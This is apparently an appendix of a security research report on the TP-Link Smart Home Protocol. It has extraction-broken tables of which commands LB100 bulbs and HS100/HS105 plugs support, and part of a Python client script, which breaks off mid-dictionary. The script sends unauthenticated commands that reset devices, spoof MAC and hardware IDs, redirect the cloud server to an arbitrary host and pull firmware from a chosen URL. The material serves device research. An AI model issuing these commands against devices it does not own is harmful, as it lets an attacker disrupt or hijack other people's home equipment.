Error message: "Module not
support"
count_down Module
Command LB100 Bulb HS100 & HS105 Plug 
"count_down":"add_rule"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.count_dow
n":"add_rule" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"count_down":"delete_all_rules"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.count_dow
n":"delete_all_rules" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"count_down":"delete_rule" Not supported, 
Error code: -2001, 
Error message: "Module not
Supported
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support"
"smartlife.iot.common.count_dow
n":"delete_rule" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"count_down":"edit_rule"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.count_dow
n":"edit_rule" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"count_down":"get_rules"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.count_dow
n":"get_rules" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
“dimmer” Module
Command LB100 Bulb HS100 & HS105 Plug 
"dimmer":"get_default_behavior"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "module not
support"
"dimmer":
"get_dimmer_parameters"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "module not
support"
"dimmer":"set_brightness"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "module not
support"
"dimmer":"set_dimmer_transition Not supported, Not supported,
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" Error code: -2001, Error message: "Module not
support"
Error code: -1,
Error message: "module not
support"
"dimmer":
"set_double_click_action"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "module not
support"
"dimmer":
"set_fade_off_time"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "module not
support"
"dimmer":"set_fade_on_time"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "module not
support"
"dimmer":"set_gentle_off_time"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "module not
support"
"dimmer":"set_gentle_on_time"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "module not
support"
"dimmer":
"set_long_press_action"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "module not
support"
"dimmer":"set_switch_state"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "module not
support"
“emeter” Module
Command LB100 Bulb HS100 & HS105 Plug 
"emeter":"erase_emeter_stat" Not supported, Not supported,
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Error code: -2001, 
Error message: "Module not
support"
Error code: -1,
Error message: "Module not
support"
"smartlife.iot.common.emeter":
"erase_emeter_stat" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"emeter":"get_daystat"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "Module not
support"
"smartlife.iot.common.emeter":
"get_daystat" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"emeter":"get_monthstat”
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "Module not
support"
"smartlife.iot.common.emeter":
"get_monthstat" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"emeter":"get_realtime"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "Module not
support"
"smartlife.iot.common.emeter":
"get_realtime" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"emeter":"get_vgain_igain"
Not supported,
 Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "Module not
support"
"emeter":"set_vgain_igain"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "Module not
support"
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"emeter":"start_calibration"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Not supported,
Error code: -1,
Error message: "Module not
support"
“netif” Module
Command LB100 Bulb HS100 & HS105 Plug 
"netif":"get_scaninfo" Supported Supported
"netif":"get_stainfo" Supported
Not supported,
Error code:-2,
 "Member not support" 
"netif":"set_stainfo" Supported Supported
“schedule” Module
Command LB100 Bulb HS100 & HS105 Plug 
"schedule":"add_rule"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.schedule":
"add_rule" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"schedule":"delete_all_rules"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.schedule":
"delete_all_rules" Supported
Not supported,
Error code: -1,Error message:
"Module not support"
"schedule":"delete_rule"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.schedule": Supported Not supported,
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"delete_rule" Error code: -1,Error message: "Module not
support"
"schedule":"edit_rule"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.schedule":
"edit_rule" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"schedule":"get_monthstat"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.schedule":
"get_monthstat" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"schedule":"get_daystat"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.schedule":
"get_daystat" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"schedule":"erase_runtime_stat"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.schedule":
"erase_runtime_stat" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"schedule":"get_next_action"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
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"smartlife.iot.common.schedule":
"get_next_action" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"schedule":"get_rules"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.schedule":
"get_rules" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"schedule":"set_overall_enable"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.schedule":
"set_overall_enable" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
“system” Module
Command LB100 Bulb HS100 & HS105 Plug 
"system":"check_new_config"
Observation: Device did not
respond, then became temporarily
unresponsive, then turned off
WAP, before eventually rebooting
Not supported,
Error code:-2,
 "Member not support" 
"system":"download_firmware" Supported Supported
"smartlife.iot.common.system":
"download_firmware" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"system":"flash_firmware"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Not supported,
Error code: -2,
Error message: "auto flash, do
not support flash_firmware”
"smartlife.iot.common.system":
"flash_firmware"
Not supported,
Error code: -10004, 
Error message: “auto flash, do
Not supported,
Error code: -1,
Error message: "Module not
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not support flash_firmware” support"
"system":"get_dev_icon"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Not supported,
Error code: -2,
Error message: "software not
support”
"smartlife.iot.common.system":
"get_dev_icon"
Not supported,
Error code: -10004,
Error message: “software not
support”
Not supported,
Error code: -1,
Error message: "Module not
support"
"system":"get_download_state" Supported Supported
"smartlife.iot.common.system":
"get_download_state" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"system":"get_sysinfo" Supported Supported
"smartlife.iot.common.system":
"get_sysinfo"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Not supported,
Error code: -1,
Error message: "Module not
support"
"system":"reboot"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Supported
"smartlife.iot.common.system":
"reboot" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"system":"reset"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Supported
"smartlife.iot.common.system":
"reset" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"system":"set_dev_alias" Not supported,
Error code: -2000,
Supported
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Error message: "Method not
support"
"smartlife.iot.common.system":
"set_dev_alias" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"system":"set_dev_icon”
Not supported,
Error code: -2000,
Error message: "Method not
support"
 Not supported,
Error code: -2,
Error message: "software not
support”
"smartlife.iot.common.system":
"set_dev_icon"
 Not supported
,Error code: -10004,
Error message: “software not
support”
Not supported,
Error code: -1,
Error message: "Module not
support"
"system":"set_dev_location"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Supported
"smartlife.iot.common.system":
"set_dev_location" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"system":"set_device_id"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Supported
"system":"set_hw_id"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Not supported,
Error code:-2,
 Error message: "Member not
support" 
"system":"set_led_off"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Supported
"system":"set_mac_addr"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Not supported,
Error code:-2,
Error message: "Member not
support"
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"system":"set_relay_state"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Supported
"system":"set_test_mode"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Not supported,
Error code: -2,
Error message: "software not
support”
"system":"test_check_uboot"
Not supported,
Error code: -2000,
Error message: "Method not
support"
Not supported,
Error code:-2,
 Error message: "Member not
support"
“time” / “timesetting” Module
Command LB100 Bulb HS100 & HS105 Plug 
"time":"get_time"
Not supported,
Error code: -2001,
Error message: "Module not
support"
Supported
"smartlife.iot.common.timesetting
":"get_time" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"time":"get_timezone"
Not supported,
Error code: -2001,
Error message: "Module not
support"
Supported
"smartlife.iot.common.timesetting
":"get_timezone" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"time":"set_time"
Not supported, 
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.timesetting
":"set_time"
Supported Not supported,
Error code: -1,
Error message: "Module not
89
support"
"time":"set_timezone"
Not supported,
Error code: -2001, 
Error message: "Module not
support"
Supported
"smartlife.iot.common.timesetting
":"set_timezone" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
“lightingservice” Module
Command LB100 Bulb HS100 & HS105 Plug 
"smartlife.iot.smartbulb.lightingse
rvice":"get_default_behavior" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"smartlife.iot.smartbulb.lightingse
rvice":"get_light_details" Supported
Not supported,
Error code: -1,
Error message: "Module not
support" 
"smartlife.iot.smartbulb.lightingse
rvice":"get_light_state" Supported
Not supported,
Error code: -1,
Error message: "Module not
support" 
"smartlife.iot.smartbulb.lightingse
rvice":"set_default_behavior" Supported
Not supported,
Error code: -1,
Error message: "Module not
support" 
"smartlife.iot.smartbulb.lightingse
rvice":"transition_light_state" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
"smartlife.iot.smartbulb.lightingse
rvice":"get_preferred_state" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
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"smartlife.iot.smartbulb.lightin
gservice":"set_preferred_state" Supported
Not supported,
Error code: -1,
Error message: "Module not
support"
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A3. Table 6
Table 6: TSHP Method Replies
anti_theft
Command Bulb Reply Plug Reply
"anti_theft":"add_rule" X Device-assigned ID of added rule
"smartlife.iot.common.anti_the
ft":"add_rule" Device-assigned ID of added rule X
"anti_theft":"delete_all_rules" X Acknowledgment only
"smartlife.iot.common.anti_the
ft":"delete_all_rules" Acknowledgment only X
"anti_theft":"delete_rule" X Acknowledgment only
"smartlife.iot.common.anti_the
ft":"delete_rule" Acknowledgment only X
"anti_theft":"edit_rule" X Acknowledgment only
"smartlife.iot.common.anti_the
ft":"edit_rule" Acknowledgment only X
"anti_theft":"get_rules"
X
For each rule:
rule ID, 
rule name, 
whether enabled/not,
days that it is used,
start time,
end time,
frequency setting,
whether the rule is repeated 
"smartlife.iot.common.anti_the
ft":"get_rules"
See "anti_theft":"get_rules"
 for details X
"anti_theft":
"set_overall_enable" X Acknowledgment only
"smartlife.iot.common.anti_the
ft":"set_overall_enable" Acknowledgment only X
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cnCloud / cloud
Command Bulb Reply Plug Reply
"cnCloud":"bind" X Acknowledgment only
smartlife.iot.common.cloud":"
bind" Acknowledgment only X
"cnCloud":"get_info"
X
Username of account tied to 
device (if any), 
URL of server that device is 
attached to, whether a device is 
bound to cloud server or not,
whether there is an internet 
connection available to the server,
Additional returned information 
who purpose is currently 
unknown:
“illegalType”, “tcspStatus”, 
“fwDLPage”, “tcspInfo”, 
“stopConnect”, “fwNotifyType”
smartlife.iot.common.cloud":
"get_info"
See "cnCloud":"get_info" for
details X
"cnCloud":"get_intl_fw_list"
X
If no update is available, an empty
“fw_list” array is returned.
If an update is available, “fw_list”
contains the following entries:
Version of firmware update,
 log entry to explain the update, 
date update was released, 
URL on TP-Link cloud website to
download update,
3 entries whose purpose is 
currently unknown 
(“fwReleaseLogUrl”, 
“fwLocation”, “fwType”)     
smartlife.iot.common.cloud":"
get_intl_fw_list"
See "cnCloud":"get_intl_fw_list"
for details X
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"cnCloud":"set_server_url" X Acknowledgment only
smartlife.iot.common.cloud":
"set_server_url" Acknowledgment only X
"cnCloud":"unbind" X Acknowledgment only
smartlife.iot.common.cloud":
"unbind" Acknowledgment only X
count_down
Command Bulb Reply Plug Reply
"count_down":"add_rule" X Device-assigned ID of added rule
"smartlife.iot.common.count_d
own":"add_rule" Device-assigned ID of added rule X
"count_down":
"delete_all_rules" X Acknowledgment only
"smartlife.iot.common.count_d
own":"delete_all_rules" Acknowledgment only X
"count_down":"delete_rule" X Acknowledgment only
"smartlife.iot.common.count_d
own":"delete_rule" Acknowledgment only X
"count_down":"edit_rule" X Acknowledgment only
"smartlife.iot.common.count_d
own":"edit_rule" Acknowledgment only X
"count_down":"get_rules"
X
Rule ID, 
whether enabled/not,
rule name, 
time to be counted down,
whether to turn device on/off at 
end of time,
time remaining before rule is 
activated.
"smartlife.iot.common.count_d
own":"get_rules"
See "count_down":"get_rules" for
details. X
emeter
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Command Bulb Reply Plug Reply
"smartlife.iot.common.emeter"
: "erase_emeter_stat" Acknowledgment only X
"smartlife.iot.common.emeter"
: "get_daystat"
 For each day device was used:
 date,
 energy usage in Watt-hours
X
"smartlife.iot.common.emeter"
: "get_monthstat"
For each month device was used:
 Month & year,
 energy usage in Watt-hours
 Note: Values are reported in
order they are added to the
device. If device clock is shifted
back and forth by user, data will
appear in non-chronological
order.
 (Example: Device is set to July,
then set to April, then to June,
then data will be reported in the
following order:
July→April→June)
X
"smartlife.iot.common.emeter"
:"get_realtime"
Current power usage in mw X
netif
Command Bulb Reply Plug Reply
"netif":"get_scaninfo" SSID and security type of all
detected 2.4 GHz WLAN
SSID and security type of all
detected 2.4 GHz WLAN
"netif":"get_stainfo" If unconnected to a WLAN:
Empty response
If connected to a WLAN:
WLAN SSID,
WLAN security type,
WLAN RSSI
X
"netif":"set_stainfo" Acknowledgment only Acknowledgment only
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schedule
Command Bulb Reply Plug Reply
"schedule":"add_rule" X Device-assigned ID of added rule
"smartlife.iot.common.schedul
e":"add_rule" Device-assigned ID of added rule X
"schedule":"delete_all_rules" X Acknowledgment only
"smartlife.iot.common.schedul
e":"delete_all_rules" Acknowledgment only X
"schedule":"delete_rule" X Acknowledgment only
"smartlife.iot.common.schedul
e":"delete_rule" Acknowledgment only X
"schedule":"edit_rule" X Acknowledgment only
"smartlife.iot.common.schedul
e":"edit_rule" Acknowledgment only X
"schedule":"get_monthstat"
X
For each month in year that
device was used: 
month,
elapsed time that device was 
actively used (in minutes)
"smartlife.iot.common.schedul
e":"get_monthstat"
See "schedule":"get_monthstat":
for details. X
"schedule":"get_daystat"
X
For each day in month that device
was used: 
date,
elapsed time that device was 
actively used (in minutes)
"smartlife.iot.common.schedul
e":"get_daystat"
See "schedule":"get_daystat":
 for details. X
"schedule":"erase_runtime_stat
" X Acknowledgment only
"smartlife.iot.common.schedul
e":"erase_runtime_stat" Acknowledgment Only X
"schedule":"get_next_action" X The following info for the next
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active rule: 
rule type (‘1’ for schedule, ‘2’ for 
count_down, ‘-1’ if there is no 
next action),
rule ID,
time in seconds that the rule will 
be activated (ex. A rule set for 
1:20 AM will be reportedly 
scheduled at 4800),
whether to turn device on/off
"smartlife.iot.common.schedul
e":"get_next_action"
See
"schedule":"get_next_action":{}
 for details.
X
"schedule":"get_rules"
X
Whether scheduled rules are 
enabled or disabled.
Also, for each rule in schedule: 
Rule ID,
rule name,
whether enabled/not,
days that rule is used,
start and end time,
start and end behavior (on/off), 
whether rule is repeated or not. 
[See method definitions in Table 4
for complete explanation of
schedule rule parameters]
"smartlife.iot.common.schedul
e":"get_rules"
Whether scheduled rules are
enabled or disabled.
Also, for each rule in schedule: 
rule ID,
rule name,
whether enabled/not,
days that rule is used,
start and end time,
start and end behavior (on/off), 
light behavior (light mode, hue, 
saturation, color temperature, 
brightness),
 whether rule is repeated or not.
[See Table 4 for complete
explanation of schedule rule
parameters]
X
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"schedule":
"set_overall_enable" X Acknowledgment only
"smartlife.iot.common.schedul
e":"set_overall_enable" Acknowledgment only X
system
Command Bulb Reply Plug Reply
"system":"check_new_config" Observation: Device did not
respond, then became temporarily
unresponsive, then turned off
internal WAP, before eventually
rebooting
X
"system":
"download_firmware"
Acknowledgment only
State of “auto_flash”, 
state of “auto_reboot”
Note: Purpose of parameters
currently unknown. 
"smartlife.iot.common.system"
: "download_firmware"
State of auto_flash, 
state of auto_reboot.
Note: Purpose of parameters
currently unknown. Both were set
to ‘true’. 
X
"system":
"get_download_state" “state”, “ratio”.
Note: Purpose of parameters
currently unknown. Both were set
to ‘0’. 
“status”, “ratio”, “reboot_time”,
“flash_time”
Note: Purpose of parameters
currently unknown.
“Reboot_time” was set to ‘5’, all
others were set to ‘0’
"smartlife.iot.common.system"
: "get_download_state"
“status”, “ratio”, “reboot_time”,
“flash_time”
Note: Purpose of parameters
currently unknown.
“Reboot_time” was set to ‘5’, all
others were set to ‘0’
X
"system":"get_sysinfo" Software version,
hardware version,
device model,
Software version,
hardware version,
device model,
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device description,
user specified device alias, 
device MAC address,
hardware ID, 
whether device is in factory
configuration,
whether bulb is on/off,
bulb default on-state,
whether bulb is dimmable,
whether bulb has color,
whether bulb has variable color
temperature,
preset configurations,
RSSI,
active mode,
heapsize
The following parameters were
also included, but their purpose is
not currently understood:
“disco_ver” (example: “1.0”),
“ctrl_protocols”  (example: 
“name: Linkie, version:1.0”),
mic_type  (example: 
“IOT.SMARTBULB”),
dev_state (example:“normal”)
device description,
user specified device alias, 
device MAC address,
device relay state, time (in
seconds) relay has been turned
“on” (value resets to zero
whenever relay turned off)
active mode,
RSSI,
whether WiFi led is on/off,
latitude_i,
longitude_i,
hardware ID,
fwID,
device ID, 
OEM ID,
next action scheduled
The following parameters were
also included, but their purpose is
not currently understood:
 "updating" ( example: ‘0’),
"icon_hash" ( example: ""),
"feature"(example: "TIM"),
"type" (example: 
"IOT.SMARTPLUGSWITCH"), 
"system":"reboot" X Acknowledgment only
"smartlife.iot.common.system" Acknowledgment only X
"system":"reset" X Acknowledgment only
"smartlife.iot.common.system"
: "reset" Acknowledgment only X
"system":"set_dev_alias" X Acknowledgment only
"smartlife.iot.common.system"
:"set_dev_alias" Acknowledgment only X
"system":"set_dev_location" X Acknowledgment only
"smartlife.iot.common.system"
:"set_dev_location" Acknowledgment only X
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"system":"set_device_id" X Acknowledgment only
"system":"set_hw_id" X X
"system":"set_led_off" X Acknowledgment only
"system":"set_mac_addr" X X
"system":"set_relay_state" X Acknowledgment only
time / timesetting
Command Bulb Reply Plug Reply
"time": "get_time" X Year, month, day, hour, minute,and second of device clock.
"smartlife.iot.common.timesett
ing":"get_time"
Year, month, day, hour, minute,
and second of device clock. X
"time":"get_timezone" X Timezone number
"smartlife.iot.common.timesett
ing":"get_timezone" Timezone number X
"time":"set_time" X Acknowledgment only
"smartlife.iot.common.timesett
ing": "set_time" Acknowledgment only X
"time":"set_timezone": X Acknowledgment only
"smartlife.iot.common.timesett
ing":"get_timezone" Acknowledgment only X
lightingservice
Command Bulb Reply Plug Reply
"smartlife.iot.smartbulb.lightin
gservice":
"get_default_behavior"
The following information for
“soft_on” and “hard_on” default
settings:
mode, index, hue, saturation, 
color temperature, brightness
X
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"smartlife.iot.smartbulb.lightin
gservice": "get_light_details"
Details about the light:
throw angle of lamp’s beam,
minimum acceptable voltage,
maximum acceptable voltage,
wattage,
incandescent equivalent,
maximum lumens,
color rendering index
X
"smartlife.iot.smartbulb.lightin
gservice": "get_light_state"
Current state of lightbulb:
whether bulb is on/off,
operation mode,
hue,
saturation,
color temperature,
brightness.
Note: If bulb is off then operation 
mode, hue, saturation, color 
temperature, and brightness will 
be for the bulb’s default-on state.
X
"smartlife.iot.smartbulb.lightin
gservice":
"set_default_behavior"
Acknowledgment only X
"smartlife.iot.smartbulb.lightin
gservice":
"transition_light_state"
Current state of lightbulb:
whether bulb is on/off,
operation mode,
hue,
saturation,
color temperature,
brightness. 
Note: If bulb is off then operation 
mode, hue, saturation, color 
temperature, and brightness will 
be for the bulb’s default-on state.
X
"smartlife.iot.smartbulb.lightin
gservice":
"get_preferred_state"
For each preset configuration:
index (used to identify or 
reference configuration),
hue,
saturation,
color temperature,
brightness
X
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"smartlife.iot.smartbulb.lightin
gservice":
"set_preferred_state"
Acknowledgment only X
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A4. TSHP Client Script
#!/usr/bin/env python2    #not necessary for Windows
#
#***************************************************************
# Python Script Description: TP-Link Smart Home Protocol (TSHP) client 
# Author: Andrew Halterman
# Purpose: Interact with TP-Link device by using TP-Link Smart Home Protocol over UDP/TCP
# Tested with: TP-Link LB100, HS100, HS105
# Written and tested using Python3
#***************************************************************
#
# Based upon code, research, or comments from the following sources: 
# Stroetmann, L., & Esser, T. (29 Jul 2016). Reverse Engineering the TP-Link HS110. SoftScheck. Retrieved from 
https://www.softscheck.com/en/reverse-engineering-tp-link-hs110/
# softScheck. (4 Jul 2018). tplink-smartplug [Software]. Available from https://github.com/softScheck/tplink-smartplug 
# Gont, F. (Mar 2017). Hacking TP-Link Devices [PDF file]. NGI @ Troopers 17, March 20-24, 2017 Heidelberg, 
Germany. Retrieved from https://www.troopers.de/downloads/troopers17/TR17_fgont_-iot_tp_link_hacking.pdf
# konsumer. (2 Jun 2019). tplink-lightbulb (Version 1.5.1) [Software]. Available from https://github.com/konsumer/tplink-
lightbulb
# plasticrake. (12 Feb 2019). tplink-smarthome-api (Version 1.2.0) [Software]. Available from 
https://github.com/plasticrake/tplink-smarthome-api
# Dorey, B. (30 Aug 2017). tp-link LB130 Smart Wi-Fi LED Bulb Python Control. Brian Dorey. Retrieved from 
#https://www.briandorey.com/post/tp-link-lb130-smart-wi-fi-led-bulb-python-control
# mjfwest. (24 Sep 2017). tplink-smartplug Issues # 20: Python3 support [Msg 4]. Github. Message retrieved from 
https://github.com/softScheck/tplink-smartplug/issues/20
# fernando-p-jesus. (6 Nov 2018). tplink-smartplug Issues #29: schedule [Msg 2]. Github. Message retrieved from 
https://github.com/softScheck/tplink-smartplug/issues/29
#----------------------------------------------------------------------------------
import socket
import argparse
import json
import time
from struct import pack
#----------------------------------------------------------------------------------------------
#***************************************
# "validHostname" type definition
#
# type name: validHostname
# Purpose: Check if hostname is valid. Exit with error code if hostname is not valid
# Input: hostname
# Output: hostname (destination address)
#************************************
def validHostname(hostname):
try:
socket.gethostbyname(hostname)
except socket.error:
parser.error("Invalid hostname.")
return hostname
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#----------------------------------------------------------------------------------------------------
#***************************************
# "stdSys" dictionary
#
# Purpose: {system} commands in standard namespace
#************************************
stdSys = {'getInfo' : '{"system":{"get_sysinfo":{}}}', 
            'reboot1' : '{"system":{"reboot":{"delay":1}}}', 
            'reboot30' : '{"system":{"reboot":{"delay":30}}}', 
            'reset1' : '{"system":{"reset":{"delay":1}}}', 
            'reset30' : '{"system":{"reset":{"delay":30}}}', 
            'turnOn' : '{"system":{"set_relay_state":{"state":1}}}', 
            'turnOff' : '{"system":{"set_relay_state":{"state":0}}}', 
            'ledOff' : '{"system":{"set_led_off":{"off":1}}}', 
            'ledOn' : '{"system":{"set_led_off":{"off":0}}}', 
            'setAlias' : '{"system":{"set_dev_alias":{"alias":"mallory"}}}', 
            'setMAC' : '{"system":{"set_mac_addr":{"mac":"AA-AA-AA-01-02-03"}}}', 
            'setDevID':'{"system":{"set_device_id":{"deviceId":"0123456789ABCDEF0123456789ABCDEF01234567"}}}', 
            'setHWid':'{"system":{"set_hw_id":{"hwId":"0123456789ABCDEF0123456789ABCDEF"}}}', 
            'setLocation':'{"system":{"set_dev_location":{"longitude":4,"latitude":3, "latitude_i":41234, 
"longitude_i":34321}}}', 
            'testUboot':'{"system":{"test_check_uboot":null}}', 
            'getIcon':'{"system":{"get_dev_icon":null}}', 
            'setIcon':'{"system":{"set_dev_icon":{"icon":"xxxx","hash":"ABCD"}}}', 
            'testModeOn':'{"system":{"set_test_mode":{"enable":1}}}', 
            'testModeOff':'{"system":{"set_test_mode":{"enable":0}}}', 
            'getFirmware':'{"system":{"download_firmware":{"url":"192.168.1.1"}}}', 
            'getDownloadSt':'{"system":{"get_download_state":{}}}', 
            'flashFirmw':'{"system":{"flash_firmware":{}}}', 
            'checkConfig':'{"system":{"check_new_config":{}}}'  
}
#-----------------------------------------------------------------------------------------------------
#***************************************
# "stdNetif" dictionary
#
# Purpose: {netif} commands in standard namespace
#************************************
stdNetif = {'APscan' : '{"netif":{"get_scaninfo":{"refresh":0}}}', 
          'APinfo' : '{"netif":{"get_stainfo":{}}}', 
           'APconnect' : '{"netif":{"set_stainfo":{"ssid":"wifi","password":"secret","key_type":3}}}' 
}
#--------------------------------------------------------------------------------------------------------
#***************************************
# "stdCloud" dictionary
#
# Purpose: {cnCloud} commands in standard namespace
#************************************
stdCloud = {'getInfo' : '{"cnCloud":{"get_info":null}}', 
             'getFWlist' : '{"cnCloud":{"get_intl_fw_list":{}}}', 
             'setServer' : '{"cnCloud":{"set_server_url":{"server":"devs.tplinkcloud.com"}}}', 
             'setFakeServer' : '{"cnCloud":{"set_server_url":{"server":"duckduckgo.com"}}}', 
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             'connect' : '{"cnCloud":{"bind":{"username":"alice@domain.com", "password":"secret"}}}', 
             'disconnect' : '{"cnCloud":{"unbind":null}}' 
}
#--------------------------------------------------------------------------------------------------
#***************************************
# "stdTimeSet" dictionary
#
# Purpose: {time} commands in standard namespace
#************************************
stdTimeSet = {'get' : '{"time":{"get_time":null}}', 
             'set':'{"time":{"set_time":{"hour":0,"year":2019,"min":0,"month":8,"sec":0,"mday":1}}}', 
             'getTZ' : '{"time":{"get_timezone":null}}', 
             'setTZ' : '{"time":{"set_timezone":{"index":17,"hour":0,"year":2019,"min":0,"month":8,"sec":0,"mday":2}}}' 
}
#--------------------------------------------------------------------------------------------------------
#***************************************
# "stdEmeter" dictionary
#
# Purpose: {emeter} commands in standard namespace
#************************************
stdEmeter = {'realtime': '{"emeter":{"get_realtime":{}}}', 
            'getGain':'{"emeter":{"get_vgain_igain":{}}}', 
            'setGain':'{"emeter":{"set_vgain_igain":{"vgain":13462,"igain":16835}}}', 
            'calibrate':'{"emeter":{"start_calibration":{"vtarget":13462,"itarget":16835}}}', 
            'daily':'{"emeter":{"get_daystat":{"month":1,"year":2016}}}', 
            'monthly':'{"emeter":{"get_monthstat":{"year":2016}}}', 
            'erase':'{"emeter":{"erase_emeter_stat":null}}' 
}
#-------------------------------------------------------------------------------------------------------
#***************************************
# "stdSched" dictionary
#
# Purpose: {schedule} commands in standard namespace
#************************************
stdSched = {'getNext':'{"schedule":{"get_next_action":null}}', 
              'getRules':'{"schedule":{"get_rules":null}}', 
              'getMonth':'{"schedule":{"get_monthstat":{"year":2019}}}',
              'getDay':'{"schedule":{"get_daystat":{"month":8,"year":2019}}}', 
               'eraseStat':'{"schedule":{"erase_runtime_stat":{}}}', 
              'schedEnable':'{"schedule":{"set_overall_enable":{"enable":1}}}', 
              'schedDisable':'{"schedule":{"set_overall_enable":{"enable":0}}}',
              'addRule':'{"schedule":{"add_rule":{"name":"name33", "wday":[1,1,1,1,1,1,1], "stime_opt":0, "smin":4, 
"sact":1,"etime_opt":0, "emin":6, "eact":0, "repeat":1, "enable":1}}}',
              'editRule':'{"schedule":{"edit_rule":
{"id":"ABCDEF123456789ABCDEF123456789AB","stime_opt":0,"wday":
[1,1,1,1,1,1,1],"smin":6,"emin":8,"enable":0,"repeat":1,"etime_opt":0,"name":"lon2","eact":0,"sact":1}}}',
              'delRule':'{"schedule":{"delete_rule":{"id":"ABCDEF123456789ABCDEF123456789AB"}}}', 
              'clearAll':'{"schedule":{"delete_all_rules":null}}' 
}
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#--------------------------------------------------------------------------------------------
#***************************************
# "stdCountd" dictionary
#
# Purpose: {count_down} commands in standard namespace
#************************************
stdCountd = {'get':'{"count_down":{"get_rules":null}}',
            'add':'{"count_down":{"add_rule":{"enable":1,"delay":100,"act":0,"name":"turn_on"}}}',
            'edit':'{"count_down":{"edit_rule":
{"enable":1,"id":"ABCDEF123456789ABCDEF123456789AB","delay":60,"act":1,"name":"turn_on"}}}', 
            'del':'{"count_down":{"delete_rule":{"id":"ABCDEF123456789ABCDEF123456789AB"}}}', 
            'clearAll':'{"count_down":{"delete_all_rules":null}}' 
}
#-------------------------------------------------------------------------------------------------
#***************************************
# "stdAtheft" dictionary
#
# Purpose: {anti_theft} commands in standard namespace
#************************************
stdAtheft = {'get':'{"anti_theft":{"get_rules":null}}', 
            'setAllOn':'{"anti_theft":{"set_overall_enable":{"enable":1}}}', 
            'setAllOff':'{"anti_theft":{"set_overall_enable":{"enable":0}}}',
